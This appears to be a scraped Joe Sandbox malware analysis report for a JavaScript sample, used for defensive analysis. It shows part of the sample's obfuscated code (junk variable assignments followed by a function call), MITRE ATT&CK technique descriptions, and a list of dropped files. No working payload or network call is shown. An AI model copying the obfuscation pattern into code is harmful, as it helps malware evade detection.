1261	ybiedbrg = "Y";
1262	ybiedbrg = "t";
1263	ybiedbrg = "s";
1264	ybiedbrg = "j";
1265	ybiedbrg = "W";
1266	ybiedbrg = "q";
1267	ybiedbrg = "W";
1268	ybiedbrg = "N";
1269	ybiedbrg = "E";
1270	ybiedbrg = "p";
1271	ybiedbrg = "S";
1272	ybiedbrg = "H";
1273	ybiedbrg = "t";
1274	ybiedbrg = "u";
1275	ybiedbrg = "Q";
1276	ybiedbrg = "x";
1277	ybiedbrg = "V";
1278	ybiedbrg = "h";
1279	ybiedbrg = "B";
1280	ybiedbrg = "T";
1281	ybiedbrg = "o";
1282	ybiedbrg = "q";
1283	rzxvwpsum = "m";
1284	rzxvwpsum = "p";
1285	rzxvwpsum = "z";
1286	rzxvwpsum = "r";
1287	rzxvwpsum = "x";
1288	rzxvwpsum = "h";
1289	rzxvwpsum = "W";
1290	rzxvwpsum = "C";
1291	rzxvwpsum = "A";
1292	rzxvwpsum = "f";
1293	rzxvwpsum = "l";
1294	rzxvwpsum = "Z";
1295	rzxvwpsum = "d";
1296	rzxvwpsum = "T";
1297	rzxvwpsum = "d";
1298	rzxvwpsum = "S";
1299	rzxvwpsum = "f";
1300	rzxvwpsum = "u";
1301	rzxvwpsum = "M";
1302	rzxvwpsum = "w";
1303	rzxvwpsum = "v";
1304	rzxvwpsum = "c";
1305	rzxvwpsum = "p";
1306	kvxomjln = "g";
1307	kvxomjln = "T";
1308	kvxomjln = "W";
1309	kvxomjln = "F";
1310	kvxomjln = "o";
1311	kvxomjln = "i";
1312	kvxomjln = "c";
1313	kvxomjln = "S";
1314	kvxomjln = "I";
1315	kvxomjln = "d";
1316	kvxomjln = "u";
1317	kvxomjln = "A";
1318	kvxomjln = "c";
1319	kvxomjln = "X";
1320	kvxomjln = "z";
1321	kvxomjln = "S";
1322	kvxomjln = "A";
1323	kvxomjln = "v";
1324	kvxomjln = "O";
1325	kvxomjln = "K";
1326	kvxomjln = "D";
1327	kvxomjln = "D";
1328	kvxomjln = "s";
1329	kvxomjln = "J";
1330	kvxomjln = "V";
1331	kvxomjln = "k";
1332	kvxomjln = "S";
1333	kvxomjln = "h";
1334	kvxomjln = "l";
1335	kvxomjln = "h";
1336	kvxomjln = "C";
1337	kvxomjln = "V";
1338	kvxomjln = "B";
1339	kvxomjln = "f";
1340	htznwyrp = "S";
1341	htznwyrp = "y";
1342	htznwyrp = "g";
1343	htznwyrp = "j";
1344	htznwyrp = "j";
1345	htznwyrp = "Q";
1346	htznwyrp = "p";
1347	htznwyrp = "R";
1348	htznwyrp = "Y";
1349	htznwyrp = "d";
1350	htznwyrp = "g";
1351	htznwyrp = "G";
1352	htznwyrp = "w";
1353	htznwyrp = "z";
1354	htznwyrp = "J";
1355	htznwyrp = "g";
1356	htznwyrp = "w";
1357	idfmsmk ( );	idfmsmk() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2835523725329532164.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\156a8b74-bc8d-4123-9c00-0d163db29f98.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF63bd34.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c275a6c6-24d6-44db-b543-282806ff54f9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
2835523725329532164.js